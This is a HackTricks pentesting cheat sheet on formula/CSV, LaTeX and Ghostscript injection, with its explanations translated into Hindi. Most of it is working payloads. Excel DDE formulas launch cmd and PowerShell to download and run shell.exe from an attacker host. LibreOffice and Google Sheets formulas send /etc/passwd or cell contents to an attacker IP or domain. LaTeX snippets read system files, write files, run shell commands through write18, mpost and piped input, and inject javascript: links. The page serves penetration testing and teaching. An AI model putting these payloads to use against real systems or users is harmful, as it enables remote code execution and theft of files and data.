hacktricks/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md

208 lines
18 KiB
Markdown
Raw Permalink Normal View History

# Formula/CSV/Doc/LaTeX/GhostScript Injection
2022-05-01 13:25:53 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
## Formula Injection
2022-07-10 22:26:52 +00:00
### Info
यदि आपका **input** **CSV file**s (या किसी अन्य फ़ाइल जो शायद **Excel** द्वारा खोली जाएगी) के अंदर **प्रतिबिंबित** हो रहा है, तो आप Excel **formulas** डालने में सक्षम हो सकते हैं जो तब **executed** होंगे जब उपयोगकर्ता **फाइल खोलता है** या जब उपयोगकर्ता Excel शीट के अंदर कुछ लिंक पर **क्लिक करता है**
{% hint style="danger" %}
आजकल **Excel उपयोगकर्ता को चेतावनी देगा** (कई बार) जब **Excel के बाहर से कुछ लोड किया जाता है** ताकि उसे दुर्भावनापूर्ण कार्रवाई से रोका जा सके। इसलिए, अंतिम payload पर सामाजिक इंजीनियरिंग पर विशेष प्रयास करना आवश्यक है।
{% endhint %}
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
2022-09-29 15:13:42 +00:00
```
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
```
### Hyperlink
2022-09-29 15:13:42 +00:00
**निम्नलिखित उदाहरण अंतिम एक्सेल शीट से सामग्री निकालने और मनमाने स्थानों पर अनुरोध करने के लिए बहुत उपयोगी है। लेकिन इसके लिए उपयोगकर्ता को लिंक पर क्लिक करना आवश्यक है (और चेतावनी संकेतों को स्वीकार करना आवश्यक है)।**
The following example was taken from [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
कल्पना करें कि एक छात्र रिकॉर्ड प्रबंधन प्रणाली में सुरक्षा उल्लंघन को CSV इंजेक्शन हमले के माध्यम से शोषण किया गया है। हमलावर का प्राथमिक इरादा उस प्रणाली को समझौता करना है जिसका उपयोग शिक्षक छात्र विवरण प्रबंधित करने के लिए करते हैं। यह विधि हमलावर द्वारा एप्लिकेशन में एक दुर्भावनापूर्ण पेलोड इंजेक्ट करने में शामिल है, विशेष रूप से छात्र विवरण के लिए निर्धारित क्षेत्रों में हानिकारक सूत्र दर्ज करके। हमला इस प्रकार unfolds:
1. **दुर्भावनापूर्ण पेलोड का इंजेक्शन:**
* हमलावर एक छात्र विवरण फॉर्म प्रस्तुत करता है लेकिन इसमें स्प्रेडशीट में सामान्यतः उपयोग किए जाने वाले सूत्र को शामिल करता है (जैसे, `=HYPERLINK("<malicious_link>","Click here")`).
* यह सूत्र एक हाइपरलिंक बनाने के लिए डिज़ाइन किया गया है, लेकिन यह हमलावर द्वारा नियंत्रित एक दुर्भावनापूर्ण सर्वर की ओर इशारा करता है।
2. **समझौता किए गए डेटा का निर्यात:**
* शिक्षक, समझौते के बारे में अनजान, डेटा को CSV फ़ाइल में निर्यात करने के लिए एप्लिकेशन की कार्यक्षमता का उपयोग करते हैं।
* CSV फ़ाइल, जब खोली जाती है, तब भी इसमें दुर्भावनापूर्ण पेलोड होता है। यह पेलोड स्प्रेडशीट में एक क्लिक करने योग्य हाइपरलिंक के रूप में दिखाई देता है।
3. **हमले को सक्रिय करना:**
* एक शिक्षक हाइपरलिंक पर क्लिक करता है, यह मानते हुए कि यह छात्र के विवरण का एक वैध हिस्सा है।
* क्लिक करने पर, संवेदनशील डेटा (संभवतः स्प्रेडशीट या शिक्षक के कंप्यूटर से विवरण शामिल) हमलावर के सर्वर पर भेजा जाता है।
4. **डेटा को लॉग करना:**
* हमलावर का सर्वर शिक्षक के कंप्यूटर से भेजे गए संवेदनशील डेटा को प्राप्त करता है और लॉग करता है।
* हमलावर फिर इस डेटा का उपयोग विभिन्न दुर्भावनापूर्ण उद्देश्यों के लिए कर सकता है, छात्रों और संस्थान की गोपनीयता और सुरक्षा को और अधिक समझौता कर सकता है।
2022-07-10 22:26:52 +00:00
### RCE
**अधिक विवरण के लिए** [**मूल पोस्ट**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **की जांच करें।**
विशिष्ट कॉन्फ़िगरेशन या पुराने संस्करणों के Excel में, एक सुविधा जिसे डायनामिक डेटा एक्सचेंज (DDE) कहा जाता है, का उपयोग मनमाने आदेशों को निष्पादित करने के लिए किया जा सकता है। इसका लाभ उठाने के लिए, निम्नलिखित सेटिंग्स सक्षम की जानी चाहिए:
* फ़ाइल → विकल्प → ट्रस्ट सेंटर → ट्रस्ट सेंटर सेटिंग्स → बाहरी सामग्री पर जाएं, और **डायनामिक डेटा एक्सचेंज सर्वर लॉन्च** सक्षम करें।
जब दुर्भावनापूर्ण पेलोड के साथ एक स्प्रेडशीट खोली जाती है (और यदि उपयोगकर्ता चेतावनियों को स्वीकार करता है), तो पेलोड निष्पादित होता है। उदाहरण के लिए, कैलकुलेटर एप्लिकेशन लॉन्च करने के लिए, पेलोड होगा:
```markdown
=cmd|' /C calc'!xxx
```
अतिरिक्त कमांड भी निष्पादित किए जा सकते हैं, जैसे कि PowerShell का उपयोग करके एक फ़ाइल डाउनलोड और निष्पादित करना:
2021-06-29 12:49:13 +00:00
```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
```
### Local File Inclusion (LFI) in LibreOffice Calc
2021-06-29 12:49:13 +00:00
LibreOffice Calc का उपयोग स्थानीय फ़ाइलों को पढ़ने और डेटा को एक्सफ़िल्ट्रेट करने के लिए किया जा सकता है। यहाँ कुछ विधियाँ हैं:
2021-06-29 12:49:13 +00:00
* स्थानीय `/etc/passwd` फ़ाइल से पहली पंक्ति पढ़ना: `='file:///etc/passwd'#$passwd.A1`
* पढ़े गए डेटा को हमलावर-नियंत्रित सर्वर पर एक्सफ़िल्ट्रेट करना: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
* एक से अधिक पंक्तियाँ एक्सफ़िल्ट्रेट करना: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
* DNS एक्सफ़िल्ट्रेशन (पढ़े गए डेटा को DNS क्वेरी के रूप में हमलावर-नियंत्रित DNS सर्वर पर भेजना): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
2021-06-29 12:49:13 +00:00
### Google Sheets for Out-of-Band (OOB) Data Exfiltration
2021-06-29 12:49:13 +00:00
Google Sheets ऐसी फ़ंक्शन प्रदान करता है जिन्हें OOB डेटा एक्सफ़िल्ट्रेशन के लिए शोषित किया जा सकता है:
2021-06-29 12:49:13 +00:00
* **CONCATENATE**: स्ट्रिंग्स को एक साथ जोड़ता है - `=CONCATENATE(A2:E2)`
* **IMPORTXML**: संरचित डेटा प्रकारों से डेटा आयात करता है - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
* **IMPORTFEED**: RSS या ATOM फ़ीड आयात करता है - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
* **IMPORTHTML**: HTML तालिकाओं या सूचियों से डेटा आयात करता है - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
* **IMPORTRANGE**: किसी अन्य स्प्रेडशीट से सेल की एक श्रृंखला आयात करता है - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
* **IMAGE**: एक सेल में एक छवि डालता है - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")`
2021-06-29 12:49:13 +00:00
## LaTeX Injection
2021-06-29 12:49:13 +00:00
आमतौर पर, सर्वर जो इंटरनेट पर **LaTeX कोड को PDF में परिवर्तित** करते हैं, वे **`pdflatex`** का उपयोग करते हैं।\
यह प्रोग्राम कमांड निष्पादन को (अ)अनुमति देने के लिए 3 मुख्य विशेषताओं का उपयोग करता है:
2022-07-10 22:26:52 +00:00
* **`--no-shell-escape`**: `\write18{command}` संरचना को **अक्षम** करें, भले ही यह texmf.cnf फ़ाइल में सक्षम हो।
* **`--shell-restricted`**: `--shell-escape` के समान, लेकिन **सुरक्षित** सेट की **पूर्वनिर्धारित** \*\*कमांड्स पर **सीमित**
* **`--shell-escape`**: `\write18{command}` संरचना को **सक्षम** करें। कमांड कोई भी शेल कमांड हो सकता है। सुरक्षा कारणों से इस संरचना को सामान्यतः अनुमति नहीं दी जाती है।
2022-07-10 22:26:52 +00:00
हालांकि, कमांड निष्पादन के अन्य तरीके हैं, इसलिए RCE से बचने के लिए `--shell-restricted` का उपयोग करना बहुत महत्वपूर्ण है।
2022-07-10 22:26:52 +00:00
### Read file <a href="#read-file" id="read-file"></a>
आपको \[ या $ जैसे रैपर के साथ इंजेक्शन को समायोजित करने की आवश्यकता हो सकती है।
2022-07-10 22:26:52 +00:00
```bash
\input{/etc/passwd}
\include{password} # load .tex file
2022-07-12 21:55:32 +00:00
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
2022-07-10 22:26:52 +00:00
```
#### एकल पंक्ति फ़ाइल पढ़ें
2022-07-10 22:26:52 +00:00
```bash
\newread\file
2022-07-10 22:26:52 +00:00
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
```
#### कई पंक्तियों वाली फ़ाइल पढ़ें
2022-07-10 22:26:52 +00:00
```bash
\newread\file
2022-07-10 22:26:52 +00:00
\openin\file=/etc/passwd
\loop\unless\ifeof\file
2023-11-06 08:38:02 +00:00
\read\file to\fileline
\text{\fileline}
2022-07-10 22:26:52 +00:00
\repeat
\closein\file
```
### फ़ाइल लिखें <a href="#write-file" id="write-file"></a>
2022-07-10 22:26:52 +00:00
```bash
\newwrite\outfile
2022-07-10 22:26:52 +00:00
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
```
### Command execution <a href="#command-execution" id="command-execution"></a>
2022-07-10 22:26:52 +00:00
कमांड का इनपुट stdin पर पुनर्निर्देशित किया जाएगा, इसे प्राप्त करने के लिए एक अस्थायी फ़ाइल का उपयोग करें।
2022-07-10 22:26:52 +00:00
```bash
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
2022-07-12 22:56:28 +00:00
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
2022-07-10 22:26:52 +00:00
```
यदि आपको कोई LaTex त्रुटि मिलती है, तो खराब वर्णों के बिना परिणाम प्राप्त करने के लिए base64 का उपयोग करने पर विचार करें।
2022-07-10 22:26:52 +00:00
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
```
```bash
\input|ls|base4
\input{|"/bin/hostname"}
```
### Cross Site Scripting <a href="#cross-site-scripting" id="cross-site-scripting"></a>
2022-07-10 22:26:52 +00:00
[@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130) से
2022-07-10 22:26:52 +00:00
```bash
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
```
## Ghostscript Injection
2022-07-10 22:26:52 +00:00
**चेक करें** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
## संदर्भ
2021-06-29 12:49:13 +00:00
2022-07-10 22:26:52 +00:00
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
<summary>Support HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}